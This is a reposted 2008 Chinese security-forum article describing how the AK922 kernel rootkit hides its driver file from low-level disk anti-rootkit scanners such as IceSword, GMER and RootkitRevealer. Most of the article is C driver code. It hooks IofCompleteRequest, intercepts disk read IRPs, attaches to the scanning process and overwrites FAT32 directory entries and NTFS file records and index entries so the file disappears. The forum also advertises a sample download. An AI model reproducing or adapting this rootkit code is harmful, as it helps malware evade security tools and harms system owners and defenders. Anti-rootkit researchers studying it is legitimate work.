首页
社区
课程
招聘
[转帖]AK922: 绕过低级磁盘扫描系统隐藏文件。
发表于: 2008-8-11 07:06 5193

[转帖]AK922: 绕过低级磁盘扫描系统隐藏文件。

2008-8-11 07:06
5193
Currently, there are two main methods for the public mainstream anti-rootkit detecting hidden files: the first is the file system layer's detection, fall into this category are icesword, darkspy, gmer such. Second is the disk low level scanning, fall into this category such as rootkit unhooker, filereg (is's plug-in), rootkit revealer, and blacklight, etc. Of course, there are some other tools running in the user-mode, call ZwQueryDirectoryFile to implement detection.


Driver or application, said plainly just send IRPs to the lower driver directly or indirectly. The first category send IRPs to FSD (fastfat.sys / ntfs.sys), while the second type send to disk driver(disk.sys). Then IRPs will return, carrying information corresponding to the file, the upper applications can process and judge the returned infor at this time. However, disk layer is more lower than FS layer, the info IRPs return to us is the disk sector data more closer to the original data organization, so the detection implementing on the disk layer can get more convincing results. But it doesn't mean such detection cannot be defeated. This paper will introduce a bypass such detection method, of course, this is also used in AK922.

For the RK To hide file, it is better to say "intercept" than "bypass" - just hook the kernel function call to provide the opportunity of filter the info to be hidden for us before return to upper.

AK922, the method used was to hook kernel function IofCompleteRequest. This function is very interesting, because it is not only a any-driver-will-call function, but also contains the parameters of IRP. IRP is everything to us! These characteristics determine it is suitable for our "puppet". But more important is, operations have been completed at the time driver calls it, IRPs have been filled with data in the relevant member, which make it easier for us to proceed to filter sth directly without sending IRPs & installing completion routine.

Now let's focus on the workflow:

First, judge MajorFunction if it's IRP_MJ_READ and io stack location's DeviceObject whether it is the disk device object. Because we need to deal with these core IRPs -- all the guys sent directly to the disk driver layer can be intercepted here.

The following work you must pay special attention. You'd better not forget you're executing at or above APC_LEVEL When entered here. That's to say you cannot touch any user-mode buffer, otherwise, most likely BSOD. In other words, we cannot deal with the related disk sector data directly, and must queue a WorkItem through ExQueueWorkItem. Moreover, since disk
layer is at a relatively lower position in the device stack, the current process context is no longer the context owned by initiator of the original IRP when most of IRPs arrive here (the "initiator" should be understood as the ARK's process here). Fortunately, IRP's Tail.Overlay.Thread member still preserves its original initiator's thread pointer. That's useful to us. In order to operate user-mode buffer we must call KeAttachProcess, switch to the initiator's context, and it can only work in the worker thread which is executing at PASSIVE_LEVEL. At DISPATCH_LEVEL, the less you do, the safer you gain.

I started to deal with the two cases: Since not all the IRPs are in the different executing context, such as icesword's IRPs, still in the executing context of icesword.exe here. Then I think I needn't queue the workitem and it can save a lot of system resources, improve filtering efficiency. So I tried to operate user-mode buffer at DISPATCH_LEVEL directly, but this doesn't work, I always get BSOD, so just queue the fucking workitem, and then judge it. Code as follows:


if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0)
{    
        
    orgnThread = Irp->Tail.Overlay.Thread;
    orgnProcess = IoThreadToProcess(orgnThread);
        
    if(Irp->MdlAddress)
    {        
        UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset);
            
        //userbuffer should be valid
        if(UserBuffer)
        {                    
            
            if(KeGetCurrentIrql() == DISPATCH_LEVEL)
            {                    
            
                RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));
                
                WorkerCtx->UserBuffer = UserBuffer;
                WorkerCtx->Length = irpSp->Parameters.Read.Length;
                WorkerCtx->EProc = orgnProcess;
                
                ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx);
                                
                ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue);
            }
        }
        
    }
}


Arrive at the worker thread, change to the PASSIVE_LEVEL, switch to the original context, it seems much safer. But we should call ProbeForXxx to spy the dark first before operating use-mode buffer just in case of BSOD. Code as follows:


VOID WorkerThread(PVOID Context)
{
    KIRQL irql;
    PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc;
    PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc;
    //PMDL mdl;
        

    if(((PWORKERCTX)Context)->UserBuffer)
    {
        if(eproc != currProc)
        {

            KeAttachProcess(eproc);

            __try{
            
                // ProbeForWrite must be running <= APC_LEVEL
                ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
                HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
            }

            __except(EXCEPTION_EXECUTE_HANDLER){

                //DbgPrint("we can't op the buffer now :-(");
                KeDetachProcess();    
                return;
            }
            
            KeDetachProcess();    
            
        }else{

            __try{
            
                // ProbeForWrite must be running <= APC_LEVEL
                ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
                HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
            }

            __except(EXCEPTION_EXECUTE_HANDLER){}
        }
    
    }
}


Everything's ready, now it's time for doodling. This will involve FAT32 and NTFS disk volume structure. I just list out the main struct we used, for more information take a look at《NTFS Documentation》.


typedef struct _INDEX_HEADER{
    UCHAR            magic[4];
    USHORT            UpdateSequenceOffset;
    USHORT            SizeInWords;
    LARGE_INTEGER    LogFileSeqNumber;
    LARGE_INTEGER    VCN;
    ULONG            IndexEntryOffset;    // needed!
    ULONG            IndexEntrySize;
    ULONG            AllocateSize;
}INDEX_HEADER, *PINDEX_HEADER;


typedef struct _INDEX_ENTRY{
    LARGE_INTEGER        MFTReference;
    USHORT            Size;                // needed!
    USHORT            FileNameOffset;
    USHORT            Flags;
    USHORT            Padding;
    LARGE_INTEGER        MFTReferParent;
    LARGE_INTEGER        CreationTime;
    LARGE_INTEGER        ModifyTime;
    LARGE_INTEGER        FileRecModifyTime;
    LARGE_INTEGER        AccessTime;
    LARGE_INTEGER        AllocateSize;
    LARGE_INTEGER        RealSize;
    LARGE_INTEGER        FileFlags;
    UCHAR            FileNameLength;
    UCHAR            NameSpace;
    WCHAR            FileName[1];
}INDEX_ENTRY, *PINDEX_ENTRY;


On FAT32 volume, AK922 searches for the ak922.sys's directory entry, and then modifies the first bytes as "0xe5"(mark as deleted), in this way, ark can be cheated. However, in order to be more subtle not detected by winhex, AK922 set the file name buffer to zero.

There's a little more trouble with NTFS volume. File record and index entry should both be handled, details as following codes:


VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
{
    ULONG i;
    BOOLEAN bIsNtfsIndex;
    BOOLEAN bIsNtfsFile;
    ULONG offset = 0;
    ULONG indexSize = 0;
    PINDEX_ENTRY currIndxEntry = NULL;
    PINDEX_ENTRY preIndxEntry = NULL;
    ULONG currPosition;

    
    bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);
    bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);

    if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)
    {            
    
        for(i = 0; i < BufLen/0x20; i++)
        {
            if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))
            {

                *(PUCHAR)UserBuf        = 0xe5;
                *(PULONG)((ULONG)UserBuf + 0x1)    = 0;

                break;
                    
            }

            UserBuf = (PVOID)((ULONG)UserBuf + 0x20);
        
        }

    } else if(bIsNtfsFile) {

        //DbgPrint("FILE0...");

        for(i = 0; i < BufLen / FILERECORDSIZE; i++)
        {
            if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))
            {
                memset((PVOID)UserBuf, 0, 0x4);
                memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);
                break;
            }
                
            UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);
                
        }
            
    } else if(bIsNtfsIndex) {
                            
        //DbgPrint("INDX...");
        // Index Entries
        
        offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;
        indexSize = BufLen - offset;
        currPosition = 0;

        currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);
        //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);
                
        while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)
        {
            if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))
            {
                memset((PVOID)currIndxEntry->FileName, 0, 18);

                if(currPosition == 0)
                {
                    ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;
                    break;
                }

                preIndxEntry->Size += currIndxEntry->Size;
                
                break;
            }

            currPosition += currIndxEntry->Size;
            preIndxEntry = currIndxEntry;
            currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);
                    
        }
    }
}


样本下载:

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回